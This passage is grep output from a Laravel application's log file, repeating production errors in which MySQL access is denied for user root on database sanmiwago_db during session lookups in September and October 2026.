(using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-09-30 17:45:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kPmwctFDlXSfnliDcVRQMeY3MTS7FlGCoCxtozWk limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kPmwctFDlXSfnliDcVRQMeY3MTS7FlGCoCxtozWk limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-01 22:18:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8deCuoFTXM1r2p1Y33k96s8kQowMkufCwkCnUI3t limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 8deCuoFTXM1r2p1Y33k96s8kQowMkufCwkCnUI3t limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-01 22:21:53] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4bAy3dHFADT4HJrPrlg1SibUn8YZNvuJGc4k0wLY limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4bAy3dHFADT4HJrPrlg1SibUn8YZNvuJGc4k0wLY limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-02 02:59:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KPqjXlHYXzB0DjkaFSwSuY1TFnfHZIvjJUuK7Ou1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = KPqjXlHYXzB0DjkaFSwSuY1TFnfHZIvjJUuK7Ou1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-02 07:18:04] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NfxitNLBZI6rjGyoPWu2dGavY1D878dgAVoPQqL4 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NfxitNLBZI6rjGyoPWu2dGavY1D878dgAVoPQqL4 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-02 16:30:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hh5ZxqhVgnFXLfpiKXWgCXx5G9YsOixvjw9tjN36 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Hh5ZxqhVgnFXLfpiKXWgCXx5G9YsOixvjw9tjN36 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-05 03:13:00] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = va62V3xyfLRjPSgVZ4CKs6JLe3OgneNl6Dpjj1IP limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = va62V3xyfLRjPSgVZ4CKs6JLe3OgneNl6Dpjj1IP limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-05 03:21:18] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = h8cCHewnWomJqI08K1EzfuoqtYufJ92PJ5H9XzfO limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = h8cCHewnWomJqI08K1EzfuoqtYufJ92PJ5H9XzfO limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-05 06:05:31] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wYZqmVMgmUxRnOjit0AMbQGPHegh9o7VHC1vaDLJ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wYZqmVMgmUxRnOjit0AMbQGPHegh9o7VHC1vaDLJ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-06 13:54:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NdqWGNz3uHyAag7FOgonBOMVScEDYCzftUUkZXeV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NdqWGNz3uHyAag7FOgonBOMVScEDYCzftUUkZXeV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-06 17:46:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VxN04mnq4rwROD7fiLk1tnNLNbxRR9m0s85eydJL limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VxN04mnq4rwROD7fiLk1tnNLNbxRR9m0s85eydJL limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-08 01:18:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hyjwqyqqfc2EfklVLHaUPOZ67l3aDjOU86mdEfUT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = hyjwqyqqfc2EfklVLHaUPOZ67l3aDjOU86mdEfUT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-08 05:07:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bm0KCK0SO9GJfa8FgoXJmCGmskISv2rw36f3fn9e limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bm0KCK0SO9GJfa8FgoXJmCGmskISv2rw36f3fn9e limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-08 05:07:14] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MjK1iTpFHy8KvH8MKLBDIC3H4AbLTSCeVvp8Ls7Q limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = MjK1iTpFHy8KvH8MKLBDIC3H4AbLTSCeVvp8Ls7Q limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-08 22:39:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cenIZrQlUskt75o1kN00EVeEAGHGQuNgHCqn9mSU limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = cenIZrQlUskt75o1kN00EVeEAGHGQuNgHCqn9mSU limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-09 00:38:24] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uz4BlyG3gG5U67xvlCBcLU6TDtjF04zP48d6G8fZ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uz4BlyG3gG5U67xvlCBcLU6TDtjF04zP48d6G8fZ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-09 04:20:15] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mNG40IISZuklyjP6TLecKyMqBWfWOb0pEhwh5XqI limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mNG40IISZuklyjP6TLecKyMqBWfWOb0pEhwh5XqI limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-10 01:19:10] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qWp1BUIwDmdXnkYnSxFpnccTgtPIyq5qpdfUM56F limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qWp1BUIwDmdXnkYnSxFpnccTgtPIyq5qpdfUM56F limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-10 04:10:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NDu3qtL6XINZETLRMUskqM7w5N9nkfaSmzDEBUfo limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NDu3qtL6XINZETLRMUskqM7w5N9nkfaSmzDEBUfo limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-10 11:59:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tKNDfGdN2VZGVd7U0ilgocx6jVZPaPfHjfs4PLE8 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tKNDfGdN2VZGVd7U0ilgocx6jVZPaPfHjfs4PLE8 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-11 08:06:33] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ffX1ZYbH7QLBk1Y1uzbr8pLzin3MpuSo70bD7H2h limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ffX1ZYbH7QLBk1Y1uzbr8pLzin3MpuSo70bD7H2h limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-12 11:20:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nKlqMS92CE2wvi4krgXUzOQPgPhMvzWHasD5Rp55 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nKlqMS92CE2wvi4krgXUzOQPgPhMvzWHasD5Rp55 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-12 11:20:07] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VC2yyMTfqF3fgpYL52mEynSUXCg4XeC3mvejEugn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = VC2yyMTfqF3fgpYL52mEynSUXCg4XeC3mvejEugn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-12 20:49:27] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = j99q4oYOFIyTiWiIXNV5d9xvUt1Ednp09LeEN7gW limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = j99q4oYOFIyTiWiIXNV5d9xvUt1Ednp09LeEN7gW limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-12 23:17:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wCdygDIovmd96h3xzuXVqFbxB1qOvADnXuwFMGY5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = wCdygDIovmd96h3xzuXVqFbxB1qOvADnXuwFMGY5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-12 23:17:50] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ULZFW0LTuDExNgK31JddW1hhqHhEIJLYRmZYZ5bT limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ULZFW0LTuDExNgK31JddW1hhqHhEIJLYRmZYZ5bT limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-13 01:37:46] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sLMMB4DEc3Nx7360EsYEqqSrrYqbo5H6rcqB3Rwi limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sLMMB4DEc3Nx7360EsYEqqSrrYqbo5H6rcqB3Rwi limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-13 11:29:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3BiCULYwwEZmi7srTSCPgroLe3IyFxnLW5pfSuUX limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 3BiCULYwwEZmi7srTSCPgroLe3IyFxnLW5pfSuUX limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-13 12:19:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YPW0SDLUOmD9wdYSYhu7gT4ZnEI3T83i7jp3SMem limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YPW0SDLUOmD9wdYSYhu7gT4ZnEI3T83i7jp3SMem limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-10-14 10:48:51] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YueOEqxySV8UoZSWY1DUm8Reh7GLKCfXtUvalqMn limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = YueOEqxySV8UoZSWY1DUm8Reh7GLKCfXtUvalqMn limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 